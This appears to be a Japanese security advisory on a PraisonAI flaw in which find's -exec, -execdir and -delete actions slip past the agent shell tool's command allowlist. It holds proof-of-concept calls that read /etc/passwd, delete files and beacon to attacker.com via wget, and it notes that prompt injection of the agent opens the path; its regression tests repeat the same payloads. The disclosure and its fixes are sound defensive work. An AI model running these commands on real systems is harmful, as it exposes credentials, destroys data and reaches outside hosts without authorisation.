PraisonAI: findコマンドの組み込みアクションによる、シェルコマンドの許可リスト回避

### 概要

PraisonAIのnpm 1.7.2 / Python 4.6.58で導入された、シェルコマンド実行のセキュリティ強化機能(GHSA-5jv7-2mjm-h6qj(utility-toolsのシェルチェーン)およびGHSA-vjv9-7m7j-h833(SandboxExecutorのチェーン)の修正)は、`find`コマンドの組み込み`-exec`アクションによって回避される可能性があります。

この修正は、シェルメタ文字(`` ;|&`><$()${} ``)をブロックし、`spawn()`関数で`shell: false`を使用しています。しかし、`find`コマンドは許可リストに含まれており、その`-exec ... {} +`アクションは、シェルメタ文字を使用せずにコマンドを実行します。`+`はバッチ処理の終了記号であり、ブロックされている`;`の代わりに機能します。同様の脆弱性は、4つの並列実装にも存在します(各実装のソースコードの確認により確認済み)。

### 詳細

**根本原因**: 4つの実装すべてにおいて、コマンドの**最初のトークン**が許可リストまたはブロックリストに対して検証され、残りのトークンが`spawn()`/`subprocess.Popen()`関数に`shell: false`とともに引数として渡されます。シェルメタ文字の注入は確かにブロックされています。

しかし、`find`は**組み込みの実行アクション**(`-exec`, `-execdir`, `-delete`, `-ok`, `-okdir`)を持つUnixコマンドです。これらのアクションは、シェルではなく`find`自体によって解釈されます。これにより、シェルメタ文字を使用せずにプログラムの実行やファイルの削除が行われます(検証済み:ペイロード`find /etc -name passwd -maxdepth 1 -execdir cat {} +`は、utility-tools.tsの240行目の正規表現を通過します)。

`+`の終了記号(バッチモード)は、ブロックされている`;`を回避します。

**影響を受けるコンポーネント**(4つの実装、同じ脆弱性):

| # | コンポーネント | ファイル | 脆弱性 |
|---|---|---|---|
| 1 | TS utility-tools `shell()` | `src/praisonai-ts/src/tools/utility-tools.ts:255` | `safeCommands` の許可リストに `find` が存在 |
| 2 | TS SandboxExecutor | `src/praisonai-ts/src/cli/features/sandbox-executor.ts:30-50` | `DEFAULT_BLOCKED_COMMANDS` に `find` が存在しない |
| 3 | Python `safe_shell` | `src/praisonai/praisonai/cli/features/safe_shell.py:22-58` | `BANNED_COMMANDS` に `find` が存在しないが、`SAFE_COMMANDS` に存在する |
| 4 | Python `sandbox_executor` | `src/praisonai/praisonai/cli/features/sandbox_executor.py:87-91` | `blocked_commands` に `find` が存在しない |

**回避分析**:

| チェック | `find /etc -name passwd -maxdepth 1 -execdir cat {} +` | 結果 |
|---|---|---|
| メタ文字正規表現 `/[;|&\`><]/` | `{`, `}`, `+` は正規表現に含まれていない | 合格 |
| 正規表現 `/\$\([^)]*\)/` | `$(...)` が存在しない | 合格 |
| `safeCommands.includes('find')` | `find` は許可リストに含まれている | 合格 |
| SandboxExecutor によるパスの制限 | `normalized.includes('/etc/passwd')` → FALSE (パスの分割: `/etc ` + `passwd`) | 合格 |
| `spawn('find', [...], {shell:false})` | `find` が `-execdir` を内部的に解釈する | 回避 |

`-execdir` の手法は、SandboxExecutor の部分文字列ベースのパス制限を回避します。`/etc` と `passwd` が別々の引数として扱われるため、`/etc/passwd` がコマンド文字列の連続した部分文字列として現れることはありません。

**前提条件**:

| 前提条件 | 攻撃者がどのように入手するか | デフォルト? |
|---|---|---|
| `shell()` または SandboxExecutor へのアクセス | npm エージェントツールキットにデフォルトで組み込まれているツール。プロンプトインジェクションを通じてアクセス可能 | はい |
| ターゲットに `find` バイナリが存在 | 標準的な Unix ユーティリティ。Linux/macOS に存在 | はい |
| `find` が許可リストに含まれている/ブロックリストに含まれていない | 各実装におけるデフォルト設定 | はい |

### 実証コード

**1. -execdir を使用したデータ漏洩 (utility-tools.ts)**

```javascript
const { shell } = require('praisonai/dist/tools/utility-tools');

```
async function poc() {
// 制御:直接 'wget' コマンドを実行しようとすると拒否されます (safeCommands に含まれていないため)
const control = await shell('wget http://example.com');
console.log('[CONTROL] rejected:', !control.success); // true

// バイパス:find -execdir は、find の組み込み機能を使って /etc/passwd を読み込みます
const bypass = await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +');
console.log('[BYPASS]:', bypass.success); // true
console.log(bypass.data); // root:x:0:0:root:/root:/bin/bash ...
}
poc();
```

コードパス:`safeCommands.includes('find')` → true → `containsShellMetacharacters(...)` → false → `spawn('find', ['/etc','-name','passwd','-maxdepth','1','-execdir','cat','{}','+'], {shell:false})` → find が /etc に移動 → `cat ./passwd` → 正常終了 → `{success: true, data: "<passwd の内容>"}`.

**2. ファイル削除**

```javascript
await shell('find /app/uploads -name "*.bak" -delete');
// -delete は find の組み込み機能です。正常終了 (exit 0)、ファイルが削除されます。
```

**3. 許可されていないコマンドの実行 (副作用に基づく)**

```javascript
await shell('find /tmp -maxdepth 0 -exec wget -q http://attacker.com/beacon {} +');
// find が終了する前に、HTTP リクエストが副作用として実行されます。
```

**4. Python safe_shell**

```python
from praisonai.cli.features.safe_shell import safe_execute

result = safe_execute("find /etc -name passwd -maxdepth 1 -execdir cat {} +")
print(result.stdout) // root:x:0:0:root:/root:/bin/bash ...
```

### 影響

`shell()` 関数のコマンドパラメータに影響を与えることができる攻撃者は、以下のことが可能になります。

- **ブロックされたファイルの読み込み**: `-execdir` は、パスを引数に分割することで、`DEFAULT_BLOCKED_PATHS` 内のファイルを読み込みます (検証済み: 正常終了 (exit 0)、データが返されます)。
- **ファイルの削除**: `-delete` は、メタ文字を含まないファイルを削除します (検証済み: 正常終了 (exit 0))。
- **許可されていないコマンドの実行**: `-exec` は、`safeCommands` に含まれていないコマンドを実行します (終了コードに関わらず、副作用が実行されます)。
```

シェル置換 (`$(...)`) はブロックされているため、回避策はディスクに既に存在するバイナリを実行することに限定されます。ただし、これには `cat`、`chmod`、`python3`、`curl` などが含まれます。

脆弱性の深刻度は、GHSA-5jv7-2mjm-h6qj / GHSA-vjv9-7m7j-h833 と同等です。

### 修正案

**オプションA**: 各安全/許可されたコマンドリストから `find` を削除します (4箇所)。最も簡単な修正方法です。

**オプションB**: `find` を維持する必要がある場合、引数を解析し、`-exec`、`-execdir`、`-delete`、`-fls`、`-fprint`、`-fprintf`、`-ok`、`-okdir` フラグを拒否します。

**回帰テスト**:
```typescript
test('find -exec を拒否する', async () => {
expect((await shell('find /tmp -maxdepth 0 -exec wget http://x.com {} +')).success).toBe(false);
});
test('find -execdir を拒否する', async () => {
expect((await shell('find /etc -name passwd -maxdepth 1 -execdir cat {} +')).success).toBe(false);
});
test('find -delete を拒否する', async () => {
expect((await shell('find /app -name "*.bak" -delete')).success).toBe(false);
});
```

### 参照

- GHSA-5jv7-2mjm-h6qj: シェルチェーンによる、ユーティリティシェルsafe-command wrapperの許可リスト回避 (重大度: 8.8)
- GHSA-vjv9-7m7j-h833: シェルチェーンによる、SandboxExecutorの許可コマンド回避 (重大度: 高)
- 修正コミット: 2adfe7e, 2f9677a (2026-06-13)

影響を受けるパッケージ:
- pip (Python) praisonai: 影響あり (バージョン 4.6.77 以前)、修正済み (バージョン 4.6.78)